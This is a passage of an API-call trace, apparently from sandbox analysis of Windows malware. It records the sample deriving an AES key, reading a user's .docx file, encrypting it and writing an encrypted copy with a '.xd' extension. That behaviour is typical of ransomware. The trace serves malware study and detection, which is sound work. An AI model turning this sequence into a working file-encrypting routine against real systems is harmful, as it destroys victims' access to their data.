returned 0 [0071.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.352] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.352] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.352] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.352] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.352] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0071.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621780, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0071.352] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0071.352] CryptDeriveKey (in: hProv=0x17a9f00, Algid=0x6610, hBaseData=0x164c8b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c330) returned 1 [0071.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.353] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.353] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.353] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0071.353] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0071.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0071.353] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0071.353] CryptDestroyHash (hHash=0x164c8b0) returned 1 [0071.353] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.353] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.354] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.354] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.354] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.354] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\qqwkuo1w7jdwiyh.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0071.354] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.354] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0071.354] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.354] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.355] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.355] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0071.355] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\qqwkuo1w7jdwiyh.docx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0071.356] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.356] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.356] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.356] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.358] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0071.358] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0xa410, lpOverlapped=0x0) returned 1 [0071.360] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0071.362] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.362] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.362] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.362] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0071.363] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.363] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.363] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0071.363] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.363] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0071.363] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.363] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.363] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.363] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0071.363] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0071.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0071.364] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0071.364] CryptGetKeyParam (in: hKey=0x164c330, dwParam=0x7, pbData=0x1629500, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629500*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0071.364] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.365] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.365] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.365] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.365] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.365] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.365] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.365] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.365] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.365] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.365] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.366] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.366] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.374] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.374] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.374] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.374] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.374] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.374] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.375] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.375] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.375] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.375] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.375] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.376] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.377] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.377] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xa410, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xa420) returned 1 [0071.378] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.378] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.378] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.378] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.378] CharLowerBuffW (in: lpsz="byte[42017]", cchLength=0xb | out: lpsz="byte[42017]") returned 0xb [0071.378] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.379] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.379] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.379] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.379] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621960, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.380] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.380] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17daf30*, pdwDataLen=0x130e618*=0xa410, dwBufLen=0xa420 | out: pbData=0x17daf30*, pdwDataLen=0x130e618*=0xa420) returned 1 [0071.380] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.380] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.380] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.380] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.381] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.381] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.381] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.381] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.381] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.381] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.381] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.381] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.381] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.382] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.382] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.382] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.382] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.389] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.390] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.390] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.390] WriteFile (in: hFile=0x3bc, lpBuffer=0x17b9200*, nNumberOfBytesToWrite=0xa420, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17b9200*, lpNumberOfBytesWritten=0x130f01c*=0xa420, lpOverlapped=0x0) returned 1 [0071.393] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.393] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.393] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0071.393] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.393] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.393] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0071.393] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621330, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0071.394] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0071.394] CryptDestroyKey (hKey=0x164c330) returned 1 [0071.394] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.394] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.394] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.394] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.394] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.394] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.394] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.394] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.394] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.394] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0071.394] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.394] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.394] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.394] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.394] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.394] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", 